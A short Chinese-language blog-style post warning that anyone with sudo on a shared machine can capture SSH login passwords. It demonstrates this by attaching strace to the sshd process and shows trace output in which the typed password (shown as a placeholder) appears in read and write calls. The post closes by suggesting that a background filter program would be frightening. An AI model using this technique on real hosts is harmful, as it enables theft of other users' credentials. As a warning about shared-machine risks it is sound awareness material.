在工作中都用到virtual machine吧,同事之间还互相借用机器,或者不借用但凭借自己的域账号能登录任意机器,而且每个域账号都有sudo权限?
那你要小心了!
因为我可以轻易记录下每个ssh登录到我机器,或者我在别人的机器上放一个简单的命令,从而记录下登录者的密码。
让我们做一个很简单的试验:
# ps -ef|grep sshd
root 847 1 0 Oct27 ? 00:00:00 sshd: /usr/sbin/sshd -D # sshd是OpenSSH daemon
# strace -f -p 847
strace: Process 847 attached# 另外开一个终端,用ssh登录,在上面那个终端里将会看到第二个终端里的登录密码,如下
pselect6(9, [3 4], NULL, NULL, NULL, {sigmask=[], sigsetsize=8}
) = 1 (in [3])
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
...
[pid 3041295] write(5, "\0\0\0\17\f", 5) = 5
[pid 3041293] <... poll resumed>) = 1 ([{fd=6, revents=POLLIN}])
[pid 3041295] write(5, "\0\0\0\n这里有密码", 14 <unfinished ...>
[pid 3041293] getpid( <unfinished ...>
[pid 3041295] <... write resumed>) = 14
[pid 3041293] <... getpid resumed>) = 3041293
[pid 3041295] getpid( <unfinished ...>
[pid 3041293] read(6, <unfinished ...>
[pid 3041295] <... getpid resumed>) = 3041295
[pid 3041293] <... read resumed>"\0\0\0\17", 4) = 4
[pid 3041295] getpid( <unfinished ...>
[pid 3041293] read(6, <unfinished ...>
[pid 3041295] <... getpid resumed>) = 3041295
[pid 3041293] <... read resumed>"\f\0\0\0\n这里有密码", 15) = 15
你看你的密码都被别人记录下来喽。
写一个过滤程序,放在后台执行?有点可怕。